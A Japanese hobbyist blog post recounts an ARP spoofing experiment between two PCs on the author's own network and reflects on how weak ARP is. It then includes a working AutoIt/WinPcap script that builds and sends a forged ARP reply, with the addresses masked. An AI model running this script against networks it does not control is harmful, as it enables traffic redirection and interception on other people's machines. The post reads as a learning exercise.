関係ないけどカレーが腐っていて、激マズだった

結局、ARPの偽装応答とやらを試してみたところ、一時間足らずで同一ネットワーク上の他PCのARPを書き換えるのに成功してしまった。マジかよ。こんな貧弱なセキュリティなのか、ARPってのは(まあ既に同一ネットワークに進入してるってのあるけど…)。
PC_Aから存在しないIPに対しPingを打ち、PC_BからARPの偽装応答を打ち込む。偽装内容はその存在しないIPの宛先はオレ(PC_B)だぜ!っていう、なんていうか、オレオレ詐欺みたいなもの。すると、PC_AはPC_Bがその存在しないIPアドレスを持っていると信じきってPC_BへPINGを打ってしまうワケだ。
実際にコレをやってみたところ、確かにPC_AからPC_BにPINGをそらす事に成功してはいるのだが、PINGの内容が存在しないIP宛てのままなので、こっちが反応を返さずタイムアウトしていることが判明。あーそっか…。すると有効な応答をするには、宛先をそらしてキャプチャしたパケットのIPヘッダ書き換えて、もう一回自分宛に投げて、こっちからの応答もIPヘッダ書き換えて、ってしなきゃならんのね…。うげぇ。一見すごく単純そうに見えるこの作業も、実際にパケットの中身を観察したことのある人には判るであろう、面倒くさいのである。確かにプロトコルがICMPだけならまあ、いい。問題はプロトコルによって、ヘッダのサイズが違ったり、IPヘッダだけでなくパケットデータ内にIPやMACがちりばめられてるわ、チェックサムがあったりわで、もう、それはそれは面倒なのです。きっとパフォーマンスの問題もでるんだろうしなあ…。
以下は参考まで、今回作成したサンプルのAutoItスクリプトである。ちなみに、以前書いていたARPの応答タイミングについては、いつでも、最後に応答したヤツが有効になるってのが正解。

#include <Winpcap.au3>

Global $MacBC	= "FFFFFFFFFFFF" ; Broadcast
Global $Winpcap=_PcapSetup()

If ($Winpcap=-1) Then
	MsgBox(16,"Pcap error !","WinPcap not found !")
	exit
EndIf

Global $Pcap_devices=_PcapGetDeviceList()
If ($Pcap_devices=-1) Then
	MsgBox(16,"Pcap error !",_PcapGetLastError())
	exit
EndIf

;Select device
$mydevice = _PcapStartCapture($Pcap_devices[1][0]) ; wifi (at my env.)

;----------------------------------------
; Define fake info.
;
; Destination Info (Destination PC to be faked)
$macdst="############"
$ipdst="###.###.###.###"
; Source Info (Basically same to Fake Ip)
$macsrc="############"
$ipsrc="###.###.###.###"
; Fake info
$macfake="############" ; Assigning Mac
$ipfake=$ipsrc ; IP to be assigned the fake MAC (basically same to source IP)

;give packet type
$typePacket="0806" ;ARP

;----------------------------------------
;ARP reply dedicated  stuff's started from here
;
;give hardware type
$typeHard="0001" ; Ethernet
$typeProtcol="0800" ; IP
$szHard="06" ; MAC size [byte]
$szProtocol="04" ;IP size (IPv4) [byte]
$opcodeReq="0002" ; 0002 = reply, 0001 = request (IP)
$senderMac=$macfake
$senderIp=StringIpToHex($ipfake)
$TargetMac=$macsrc
$TargetIp=StringIpToHex($ipsrc)

;----------------------------------------
; Compose Packet data
;
; packet base
Local $mypacket = "0x"
; merge packet data.
$mypacket= $mypacket& _
	$macdst& _
	$macsrc& _
	$typePacket& _
	$typeHard& _
	$typeProtcol& _
	$szHard& _
	$szProtocol& _
	$opcodeReq& _
	$senderMac& _
	$senderIp& _
	$TargetMac& _
	$TargetIp

;----------------------------------------
; Send packet
;
_PcapSendPacket($mydevice, $mypacket)

;----------------------------------------
; Termination
;
_PcapFree()

;----------------------------------------
; Return hex formated ip string.
; eg. 192.168.1.1 -> c0a80101
; If given string is invalid, return 0 and set error=1 
;
Func StringIpToHex($string, $delimiter=".")
	Local $tmpArray=StringSplit($string, $delimiter, 2)
	If @error Then Return SetError(1, 0, 0)
	Local $result = ""
	For $tmpStr In $tmpArray
		$result = $result&String(Hex($tmpStr,2))
	Next
	Return $result
EndFunc